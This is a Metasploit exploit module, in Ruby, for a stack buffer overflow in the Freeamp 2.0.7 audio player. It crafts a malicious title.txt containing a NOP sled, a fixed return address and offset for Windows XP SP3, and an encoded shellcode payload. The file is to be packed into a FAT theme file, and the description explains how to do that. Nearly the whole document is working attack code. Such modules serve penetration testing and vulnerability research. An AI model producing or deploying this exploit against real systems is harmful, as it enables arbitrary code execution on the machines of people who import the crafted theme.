Freeamp 2.0.7 (FAT File) Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Freeamp 2.0.7 (FAT File) Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability  
found in Freeamp 2.0.7. The overflow occurs when an  
overly long string is parsed in the FAT file. This  
module creates a txt file that has to be used in the  
creation of a FAT file. The FAT file then has to be  
imported as a theme. To create the FAT file you need  
to first decompress the basic theme template,  
MakeTheme -d freeamp.fat. Next create the new FAT file  
MakeTheme crash.fat theme.xml title.txt *.bmp.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ivan Garcia Ferreira', # Initial Discovery  
'James Fitts' # Metasploit Module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/17441' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP3 EN',  
{  
'Ret' => 0x1220161a, # push esp, ret 04 in download.ui  
'Offset' => 268  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 23 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'title.txt']),  
], self.class)  
end  
  
def exploit  
  
txt = make_nops(target['Offset'])  
txt << [target.ret].pack('V')  
txt << make_nops(50)  
txt << payload.encoded  
txt << make_nops(50)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(txt)  
  
end  
  
end  
  
`